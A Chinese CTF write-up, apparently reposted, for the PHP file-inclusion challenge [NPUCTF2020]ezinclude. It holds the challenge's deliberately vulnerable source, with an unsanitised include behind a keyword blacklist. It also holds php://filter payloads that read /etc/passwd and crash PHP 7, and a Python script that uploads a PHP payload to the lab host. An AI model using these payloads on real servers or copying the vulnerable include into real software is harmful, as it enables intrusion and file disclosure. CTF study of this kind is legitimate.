[NPUCTF2020]ezinclude

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NPUCTF2020]ezinclude相关的知识,希望对你有一定的参考价值。

[NPUCTF2020]ezinclude

考点

php7 segment fault特性、伪协议

思路

  • 进入题目环境啥也没有,提示username/password error,用burpsuite抓包发现存在东西,将hash值传进去,发现是文件包含,访问flflflflag.php,但是发现快速跳转到了404,伪协议读一下源码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 过滤了data,input,所以不能通过常规伪协议getshell,扫目录,可以发现dir.php,列出了/tmp下面的所有文件
  • 可以用php7 segment fault特性,向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
  • php < 7.2:php://filter/string.strip_tags/resource=/etc/passwd
    php7 老版本通杀:php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

在这里插入图片描述

访问文件

在这里插入图片描述

Payload

index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
        echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
        </script>
';
}else{
        setcookie("Hash",md5($secret.$name),time()+3600000);
        echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
        die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

config.php

<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

php7 segment fault特性利用脚本

import requests
from io import BytesIO
url="http://f325d633-efa0-4a8c-a61d-90fc70c9ea1d.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

以上是关于[NPUCTF2020]ezinclude的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[NPUCTF2020]ReadlezPHP

第五十九题——[NPUCTF2020]ReadlezPHP

BUUCTF[NPUCTF2020] web 部分WP

密码[NPUCTF2020]EzRSA

[NPUCTF2020]ReadlezPHP

BUUCTF [NPUCTF2020]EzObfus-Chapter2